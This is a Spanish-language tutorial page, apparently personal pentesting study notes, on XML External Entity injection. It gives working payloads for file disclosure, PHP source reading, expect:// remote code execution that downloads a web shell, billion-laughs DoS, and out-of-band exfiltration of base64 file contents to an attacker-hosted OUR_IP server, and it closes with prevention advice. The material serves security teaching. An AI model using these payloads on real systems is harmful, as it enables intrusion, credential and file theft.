> For the complete documentation index, see [llms.txt](https://g4b0.gitbook.io/g4b0-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/web-attacks/xxe.md).

# XXE

## Introducción

Las **XML External Entity (XXE) Injection** ocurren cuando datos XML de input del usuario se procesan **sin sanitizar o parsear de forma segura**, permitiendo abusar de features de XML para acciones maliciosas.

> Impacto: desde divulgar archivos sensibles hasta tumbar el servidor → está en el **OWASP Top 10**.

Para entender XXE hay que conocer XML, DTD y entidades.

### 1. XML (Extensible Markup Language)

Lenguaje de marcado para **almacenar y transferir datos** (no para mostrarlos). Se forma de árboles de elementos: el primero es el **root**, el resto son **child elements**.

```xml
<?xml version="1.0" encoding="UTF-8"?>
<email>
  <date>01-01-2022</date>
  <sender>john@inlanefreight.com</sender>
  <recipients>
    <to>HR@inlanefreight.com</to>
  </recipients>
  <body>Hello...</body>
</email>
```

Elementos clave:

| Componente      | Definición                                           | Ejemplo                                  |
| --------------- | ---------------------------------------------------- | ---------------------------------------- |
| **Tag**         | Las claves, envueltas en `< >`.                      | `<date>`                                 |
| **Entity**      | Variables XML, envueltas en `& ;`.                   | `&lt;`                                   |
| **Element**     | Root o child; su valor va entre start-tag y end-tag. | `<date>01-01-2022</date>`                |
| **Attribute**   | Especificaciones opcionales en los tags.             | `version="1.0"`                          |
| **Declaration** | Primera línea; define versión y encoding.            | `<?xml version="1.0" encoding="UTF-8"?>` |

> Caracteres reservados (`<`, `>`, `&`, `"`) → usar sus **entity references** (`&lt;`, `&gt;`, `&amp;`, `&quot;`). Comentarios entre `<!--` y `-->`.

### 2. XML DTD (Document Type Definition)

Valida un documento XML contra una **estructura predefinida**. Puede ir dentro del documento o en un archivo externo.

```xml
<!DOCTYPE email [
  <!ELEMENT email (date, time, sender, recipients, body)>
  <!ELEMENT recipients (to, cc?)>
  <!ELEMENT date (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
```

| Elemento                 | Significado                                    |
| ------------------------ | ---------------------------------------------- |
| `<!DOCTYPE email [...]>` | Declara el tipo de documento.                  |
| `<!ELEMENT ...>`         | Declara un elemento y sus hijos.               |
| `#PCDATA`                | Parsed Character Data → contiene datos crudos. |

#### Referenciar un DTD externo (`SYSTEM`)

```xml
<!DOCTYPE email SYSTEM "email.dtd">
```

Vía URL:

```xml
<!DOCTYPE email SYSTEM "http://inlanefreight.com/email.dtd">
```

### 3. XML Entities (la clave del XXE)

Entidades = variables XML, definidas con `ENTITY` en el DTD, para reutilizar valores.

#### Entidad interna

```xml
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>
```

> Se referencia con `&company;` → el parser la reemplaza por su valor.

#### Entidad externa (`SYSTEM`) — el vector de XXE

```xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "http://localhost/company.txt">
  <!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
```

> Al referenciar `&signature;`, el parser lo reemplaza con el **contenido del archivo externo**. Si el XML se parsea en el servidor (APIs SOAP/XML, web forms), la entidad puede apuntar a un **archivo del back-end** → nos lo devuelve.

| Keyword  | Uso                                                    |
| -------- | ------------------------------------------------------ |
| `SYSTEM` | Cargar recursos externos (el que usaremos).            |
| `PUBLIC` | Entidades/estándares públicos (ej. códigos de idioma). |

### Resumen rápido

| Concepto            | Detalle                                                                 |
| ------------------- | ----------------------------------------------------------------------- |
| **XXE**             | XML de usuario parseado sin seguridad → abuso de features XML.          |
| **DTD**             | Define la estructura; puede referenciar recursos externos con `SYSTEM`. |
| **Entidad interna** | `<!ENTITY x "valor">` → `&x;`.                                          |
| **Entidad externa** | `<!ENTITY x SYSTEM "file:///...">` → lee archivos del back-end.         |

> El corazón del XXE: las **entidades externas** con `SYSTEM` permiten que `&entidad;` devuelva el contenido de un archivo local (`file:///`) o de una URL. La siguiente sección lo usa para leer archivos y más.

## Local File Disclosure

Si la app confía en XML sin filtrar, podemos definir **entidades externas** que referencien archivos locales. Al mostrarse en la página, revelan el contenido de esos archivos del back-end.

### 1. Identificar el XXE

#### Encontrar input XML

Buscar páginas que acepten XML. Ej. un Contact Form → al interceptar en Burp, envía los datos en **formato XML** a `submitDetails.php` → candidato a XXE.

> Al enviar el form, el valor de `<email>` **se refleja** en la respuesta ("Check your email X..."). Hay que fijarse **qué elemento se muestra** para saber dónde inyectar.

#### Probar con una entidad interna

Añadir un DTD con una entidad y referenciarla en el elemento reflejado:

```xml
<!DOCTYPE email [
  <!ENTITY company "Inlane Freight">
]>
```

Usar `&company;` en vez del email:

> Si la respuesta muestra **"Inlane Freight"** (el valor) en vez de `&company;` (texto crudo) → el XML se procesa → **vulnerable a XXE**.

> **Nota:** si el XML no traía DTD, lo añadimos completo. Si ya había `DOCTYPE`, solo agregamos el `ENTITY`.

> 💡 Apps que usan JSON pueden aceptar XML igual: cambiar `Content-Type` a `application/xml` y convertir el body → puede revelar un XXE inesperado.

### 2. Leer archivos sensibles

Definir una **entidad externa** con `SYSTEM` + `file://`:

```xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
```

Al referenciar `&company;` → la respuesta muestra el contenido de `/etc/passwd`.

> Permite leer configs con contraseñas, claves SSH (`id_rsa`), etc. **Tip (Java):** a veces se puede indicar un **directorio** en vez de archivo → devuelve un listing, útil para localizar archivos.

### 3. Leer código fuente (php\://filter)

Referenciar `index.php` directo con `file://` **falla**: el archivo tiene caracteres especiales de XML (`<`, `>`, `&`) que **rompen** la entidad. Tampoco se lee binario.

Solución: el wrapper **`php://filter`** con `convert.base64-encode` → la salida base64 no rompe el XML:

```xml
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
```

> Devuelve el `index.php` en base64. Decodificar (ej. Burp Inspector) → código fuente → **whitebox** (revela DB passwords, API keys).

| Elemento                | Descripción                                       |
| ----------------------- | ------------------------------------------------- |
| `php://filter/`         | Wrapper de PHP para aplicar filtros a un recurso. |
| `convert.base64-encode` | Codifica en base64 (evita romper el XML).         |
| `resource=index.php`    | Archivo a leer.                                   |

> ⚠️ Solo funciona en apps **PHP**. Método universal para leer fuente → siguiente sección.

### 4. RCE con XXE (expect://)

Además de leer archivos, se puede lograr ejecución. Vías: buscar claves SSH, hash stealing en Windows, o el wrapper **`expect://`** en PHP (requiere el módulo **expect** instalado/habilitado).

#### Comando simple (si hay output)

```
expect://id
```

#### RCE fiable — descargar un web shell

Crear el shell y servirlo:

```bash
echo '<?php system($_REQUEST["cmd"]);?>' > shell.php
sudo python3 -m http.server 80
```

Payload que hace `curl` para descargarlo al servidor:

```xml
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>
```

| Elemento                     | Descripción                                   |
| ---------------------------- | --------------------------------------------- |
| `expect://`                  | Wrapper PHP que ejecuta comandos del sistema. |
| `$IFS`                       | Reemplaza los espacios (evita romper el XML). |
| `curl -O 'OUR_IP/shell.php'` | Descarga el web shell al servidor.            |

> ⚠️ Evitar caracteres como `\|`, `>`, `{` (rompen el XML). El módulo **expect no viene por defecto** en PHP moderno → por eso XXE se usa más para **disclosure** de archivos/código.

### 5. Otros ataques XXE

#### SSRF

Usar XXE para enumerar puertos internos y acceder a páginas restringidas (ver módulo Server-Side Attacks).

#### DoS (billion laughs)

```xml
<!DOCTYPE email [
  <!ENTITY a0 "DOS" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  ...
  <!ENTITY a10 "&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;&a9;">
]>
```

> Cada entidad referencia la anterior 10 veces → expansión exponencial → agota la memoria. **Ya no funciona** en servidores modernos (Apache protege contra self-reference de entidades).

### Resumen rápido

| Objetivo             | Payload                                                                      |
| -------------------- | ---------------------------------------------------------------------------- |
| **Confirmar XXE**    | `<!ENTITY company "test">` → `&company;` se reemplaza.                       |
| **Leer archivo**     | `<!ENTITY x SYSTEM "file:///etc/passwd">`                                    |
| **Leer código PHP**  | `<!ENTITY x SYSTEM "php://filter/convert.base64-encode/resource=index.php">` |
| **RCE (PHP+expect)** | `<!ENTITY x SYSTEM "expect://curl$IFS-O$IFS'IP/shell.php'">`                 |
| **DoS**              | Entidades anidadas (obsoleto en servidores modernos).                        |

> Clave: `file://` para archivos de texto; `php://filter` (base64) para código o archivos con caracteres XML; `expect://` para RCE si el módulo está habilitado. Usar `$IFS` por espacios y evitar `< > & | { }` que rompen el XML.

## Advanced File Disclosure

No todos los XXE son directos. Algunos archivos no se leen con XXE básico (rompen el XML), y a veces la app **no refleja** ningún valor. Dos técnicas avanzadas: **CDATA** (para cualquier tipo de dato) y **error-based** (cuando no hay output pero sí errores).

### 1. Exfiltración con CDATA

El wrapper `php://filter` (base64) solo sirve en PHP. Para **cualquier** framework y datos binarios, envolvemos el contenido del archivo en un tag **`CDATA`** → el parser lo trata como **dato crudo**, admitiendo caracteres especiales:

```
<![CDATA[ FILE_CONTENT ]]>
```

#### Intento naíf (falla)

Definir entidades begin/file/end y unirlas:

```xml
<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>
```

> ❌ Falla: XML **no permite unir** entidades internas y externas.

#### Bypass — Parameter Entities (%)

Las **parameter entities** (empiezan con `%`, solo válidas en el DTD) sí se pueden unir **si vienen de una fuente externa** (nuestro servidor).

Alojar un DTD con la unión:

```bash
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000
```

Payload en el target:

```xml
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %xxe;
]>
...
<email>&joined;</email>
```

| Elemento             | Descripción                                           |
| -------------------- | ----------------------------------------------------- |
| `<!ENTITY % nombre>` | Parameter entity (solo DTD); externas se pueden unir. |
| `%begin;` / `%end;`  | Abren/cierran el tag CDATA.                           |
| `%file;`             | El archivo a leer, envuelto en CDATA.                 |
| `%xxe;`              | Carga nuestro DTD externo que define `joined`.        |
| `&joined;`           | Imprime el contenido del archivo.                     |

> Ventaja: lee el código fuente **sin base64** → ahorra tiempo buscando secretos/contraseñas. ⚠️ Algunos servidores modernos bloquean leer ciertos archivos (`index.php`) por protección anti-DoS de self-reference.

### 2. Error-Based XXE

Cuando la app **no refleja** ninguna entidad (no hay dónde escribir el output), pero **muestra errores de runtime** (ej. errores PHP) sin manejo de excepciones → forzamos el contenido dentro de un error.

#### Provocar un error

Enviar XML malformado: borrar un cierre de tag, cambiarlo (`<roo>` en vez de `<root>`), o referenciar una entidad inexistente:

> El error revela info, incluido el **directorio del web server** → útil para localizar archivos.

#### Exfiltrar vía error

Alojar un DTD que una un archivo con una entidad **inexistente** (para gatillar el error):

```xml
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
```

> `%nonExistingEntity;` no existe → el parser lanza un error que **incluye** el valor de `%file;`.

Payload en el target (no hace falta más XML):

```xml
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %error;
]>
```

| Elemento              | Descripción                                              |
| --------------------- | -------------------------------------------------------- |
| `%file;`              | Archivo objetivo (`/etc/hosts`, o código fuente).        |
| `%nonExistingEntity;` | Entidad inexistente → provoca el error.                  |
| `%remote;`            | Carga el DTD externo.                                    |
| `%error;`             | Dispara la definición que revela el archivo en el error. |

> Resultado: el contenido de `/etc/hosts` aparece en el mensaje de error. Cambiar la ruta para leer código fuente. ⚠️ Menos fiable que CDATA: puede tener **límites de longitud** y ciertos caracteres especiales aún la rompen.

### Resumen rápido

| Método          | Cuándo                                                   | Clave                                                                  |
| --------------- | -------------------------------------------------------- | ---------------------------------------------------------------------- |
| **CDATA**       | La app refleja una entidad, pero el archivo rompe el XML | Parameter entities externas (`%`) + `<![CDATA[...]]>` vía DTD propio.  |
| **Error-Based** | La app **no** refleja nada pero muestra errores          | Unir `%file;` con `%nonExistingEntity;` → el archivo sale en el error. |

> Ambas usan un **DTD externo** alojado en nuestro servidor y **parameter entities** (`%`). CDATA es más fiable para código fuente; error-based es el recurso cuando no hay output reflejado.

## Blind Data Exfiltration

En un XXE **completamente ciego** no hay ni output de entidades ni errores mostrados. La solución: **Out-of-band (OOB) Data Exfiltration** — hacer que la app **nos envíe** el contenido del archivo mediante una petición a nuestro servidor.

> Misma idea que en blind SQLi, blind command injection y blind XSS: si no podemos leer la respuesta, forzamos al servidor a conectarse a nosotros con los datos.

### 1. OOB manual

En vez de reflejar el archivo en una entidad XML, hacemos que la app haga una **petición web a nuestro servidor** con el contenido del archivo (base64) en la URL.

#### DTD externo (en nuestro servidor)

```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">
```

| Elemento | Descripción                                                                      |
| -------- | -------------------------------------------------------------------------------- |
| `%file;` | Lee el archivo y lo codifica en **base64** (evita romper la URL/XML).            |
| `%oob;`  | Define `content` como una URL a **nuestro server** con el base64 como parámetro. |

> Si el archivo fuera `XXE_SAMPLE_DATA`, `%file;` valdría `WFhFX1NBTVBMRV9EQVRB`, y la app pediría `http://OUR_IP:8000/?content=WFhFX1NBTVBMRV9EQVRB`.

#### Script receptor (decodifica automáticamente)

```php
<?php
if(isset($_GET['content'])){
    error_log("\n\n" . base64_decode($_GET['content']));
}
?>
```

Guardarlo como `index.php` y levantar el server:

```bash
php -S 0.0.0.0:8000
```

#### Payload en el target

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [ 
  <!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
  %remote;
  %oob;
]>
<root>&content;</root>
```

| Elemento                 | Descripción                                                  |
| ------------------------ | ------------------------------------------------------------ |
| `%remote;`               | Carga nuestro DTD externo.                                   |
| `%oob;`                  | Define la entidad `content` con la URL de exfiltración.      |
| `<root>&content;</root>` | Referencia `content` → dispara la petición a nuestro server. |

> Enviar → en nuestro terminal llega la petición con `/etc/passwd` **ya decodificado** por el script.

> **Tip — DNS OOB:** en vez de un parámetro URL, poner el base64 como **subdominio** (`ENCODEDTEXT.our.website.com`) y capturar con `tcpdump`. Más avanzado y laborioso, pero útil si HTTP está filtrado.

### 2. OOB automatizado (XXEinjector)

Automatiza el proceso. Soporta XXE básico, CDATA, error-based y blind OOB.

```bash
git clone https://github.com/enjoiz/XXEinjector.git
```

#### Preparar la request

Copiar la request de Burp a un archivo, incluyendo **solo la primera línea** del XML y poniendo `XXEINJECT` como marcador de posición:

```http
POST /blind/submitDetails.php HTTP/1.1
Host: 10.129.201.94
Content-Type: text/plain;charset=UTF-8
...

<?xml version="1.0" encoding="UTF-8"?>
XXEINJECT
```

#### Ejecutar

```bash
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter
```

| Flag          | Descripción                                   |
| ------------- | --------------------------------------------- |
| `--host`      | Nuestra IP (ej. `tun0`).                      |
| `--httpport`  | Puerto de nuestro server.                     |
| `--file`      | Archivo con la request de Burp + `XXEINJECT`. |
| `--path`      | Archivo a leer en el target.                  |
| `--oob=http`  | Método OOB por HTTP.                          |
| `--phpfilter` | Aplica `php://filter` base64.                 |

> No imprime los datos directo (van en base64). Se guardan en `Logs/`:

```bash
cat Logs/10.129.201.94/etc/passwd.log
# root:x:0:0:root:/root:/bin/bash ...
```

### Resumen rápido

| Método          | Cuándo                              | Clave                                                                             |
| --------------- | ----------------------------------- | --------------------------------------------------------------------------------- |
| **OOB manual**  | Blind total (sin output ni errores) | DTD externo + entidad que hace request a nuestro server con el archivo en base64. |
| **DNS OOB**     | HTTP filtrado                       | Base64 como subdominio + `tcpdump`.                                               |
| **XXEinjector** | Automatizar                         | `--oob=http --phpfilter`; resultados en `Logs/`.                                  |

> Clave del blind XXE: no leer la respuesta, sino **forzar al servidor a conectarse a nosotros** con los datos (base64) en la URL. El script receptor los decodifica al vuelo.

## Prevención

Los XXE ocurren cuando un XML inseguro referencia una **entidad externa**, que se explota para leer archivos o más. Prevenirlos es **más fácil** que otras vulns web, porque su causa principal son **librerías XML desactualizadas**.

Capas: actualizar componentes, configuraciones XML seguras, y defensas adicionales.

### 1. Evitar componentes desactualizados

A diferencia de XSS/IDOR/SQLi/OS injection (que se previenen con secure coding manual), el XXE **no** suele requerir eso: el XML lo maneja la **librería built-in**, no el desarrollador. Por eso, si hay XXE, casi siempre es por una **librería XML vieja**.

> Ejemplo: la función PHP `libxml_disable_entity_loader` está **DEPRECATED desde PHP 8.0.0** — permitía habilitar entidades externas de forma insegura. Editores como VSCode ya avisan de su uso.

Qué actualizar:

| Componente                                | Por qué                                         |
| ----------------------------------------- | ----------------------------------------------- |
| **Librerías XML**                         | Causa raíz del XXE.                             |
| **Parsers de API** (SOAP)                 | Procesan XML de input.                          |
| **Procesadores de documentos** (SVG, PDF) | Parsean XML internamente → también vulnerables. |
| **Otros componentes** (Node Modules, npm) | Mismo principio: lo viejo introduce vulns.      |

> Referencia: **OWASP XXE Prevention Cheat Sheet** lista librerías vulnerables y funciones seguras. Usar siempre las **últimas versiones** reduce muchas vulns, no solo XXE.

### 2. Configuraciones XML seguras

Aunque no actualices todo, ciertas configs reducen la explotación:

| Configuración                                | Efecto                                    |
| -------------------------------------------- | ----------------------------------------- |
| Deshabilitar **DTDs custom**                 | No se pueden referenciar DTDs propios.    |
| Deshabilitar **External XML Entities**       | Corta el vector principal del XXE.        |
| Deshabilitar **Parameter Entity** processing | Bloquea CDATA/error-based/OOB (usan `%`). |
| Deshabilitar **XInclude**                    | Evita otra vía de inclusión.              |
| Prevenir **Entity Reference Loops**          | Frena el DoS (billion laughs).            |

> Y contra el **error-based XXE**: tener manejo de excepciones adecuado y **deshabilitar mostrar errores de runtime** en producción.

> ⚠️ Estas configs son una **capa extra**, no la solución: si sigues usando librerías vulnerables, solo estás aplicando workarounds, lo cual no es ideal.

### 3. Defensas adicionales

| Medida             | Detalle                                                          |
| ------------------ | ---------------------------------------------------------------- |
| **Usar JSON/YAML** | Evitar XML y APIs basadas en él (SOAP) → preferir REST/JSON.     |
| **WAF**            | Capa extra, pero **nunca** confiar solo en el WAF (se bypassea). |

### Resumen rápido (checklist)

| Capa            | Action point                                                                              |
| --------------- | ----------------------------------------------------------------------------------------- |
| **Componentes** | Actualizar librerías XML, parsers SOAP, procesadores SVG/PDF, Node Modules.               |
| **Config XML**  | Deshabilitar DTDs custom, entidades externas, parameter entities, XInclude; frenar loops. |
| **Errores**     | Manejo de excepciones + no mostrar runtime errors.                                        |
| **Formato**     | Preferir JSON/YAML sobre XML (REST sobre SOAP).                                           |
| **WAF**         | Capa secundaria, no la única.                                                             |

> Clave: el XXE se previene sobre todo **manteniendo las librerías XML al día**. Las configs seguras y el WAF son capas extra, pero la raíz es no usar componentes desactualizados.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://g4b0.gitbook.io/g4b0-docs/documentation/hacking-web/web-attacks/xxe.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
